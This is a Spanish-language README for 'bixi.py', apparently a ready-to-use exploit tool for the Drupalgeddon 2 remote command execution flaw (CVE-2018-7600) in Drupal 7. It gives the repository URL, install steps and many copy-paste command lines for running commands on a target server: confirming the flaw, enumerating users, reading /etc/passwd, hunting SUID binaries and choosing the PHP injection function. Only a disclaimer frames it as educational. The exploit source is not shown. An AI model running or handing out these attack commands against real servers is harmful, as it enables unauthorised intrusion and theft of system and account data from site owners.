🔥 Drupalgeddon 2 Exploit — bixi.py
📖 Descripción
bixi.py es un exploit para la vulnerabilidad CVE‑2018‑7600 (Drupalgeddon 2) que afecta a Drupal 7.
Permite la ejecución remota de comandos (RCE) en servidores Drupal vulnerables mediante una interfaz intuitiva y comandos predefinidos.
⚠️ DISCLAIMER / AVISO LEGAL
ESTE SOFTWARE ES SOLO PARA FINES EDUCATIVOS Y DE INVESTIGACIÓN EN ENTORNOS CONTROLADOS.
- Solo utilizar en sistemas que poseas o tengas permiso escrito para probar
- El uso no autorizado es ILEGAL y puede resultar en consecuencias penales
- El autor no se hace responsable del mal uso de esta herramienta
- Cumple siempre con las leyes locales e internacionales de ciberseguridad
"With great power comes great responsibility"
📋 Características
- ✅ Explotación automática de CVE‑2018‑7600
- ✅ Comandos predefinidos para Linux y Windows
- ✅ Múltiples métodos de inyección (
system, passthru, exec, shell_exec)
- ✅ Interfaz intuitiva con sistema de ayuda
- ✅ Manejo robusto de errores y timeouts
- ✅ Salida formateada y fácil de leer
🚀 Instalación Rápida
1. Clonar repositorio
git clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600
2. Instalar dependencias
# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests
# Otras distribuciones
pip3 install requests
3. Dar permisos de ejecución
🎯 Uso Básico
Ver ayuda completa
Sintaxis general
python3 bixi.py <URL> <COMANDO/PALABRA_CLAVE> [INJECTION_TYPE]
Ejemplos prácticos
# Verificar vulnerabilidad
python3 bixi.py http://10.99.99.6/drupal/ test
# Detectar sistema operativo
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows
# Enumerar usuarios
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user
# Información del sistema
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig
# Comandos personalizados
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"
📊 Palabras Clave Predefinidas
🐧 Linux
🪟 Windows
🔧 Pentesting
| Comando | Descripción |
|---|
| sudo | Verificar privilegios sudo |
| suid | Buscar binarios SUID |
| net_localgroup | Grupos locales |
🎨 Métodos de Inyección
# system (default)
python3 bixi.py http://target/ "whoami" system
# passthru
python3 bixi.py http://target/ "whoami" passthru
# exec
python3 bixi.py http://target/ "whoami" exec
# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec
🏗️ Estructura del Proyecto
drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│ ├── linux_commands.txt
│ └── windows_commands.txt
└── screenshots/
├── help_screen.png
└── exploit_success.png
🔧 Configuración Avanzada
Proxy (opcional)
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
Timeout
Modificar valor por defecto (15 segundos):
Añadir nuevos comandos
Editar el diccionario commands en get_command_for_keyword()
🐛 Solución de Problemas
Error: No module named 'requests'
Error: Connection refused
# Verificar conectividad
ping TARGET_IP
# Verificar ruta Drupal
curl http://TARGET_IP/drupal/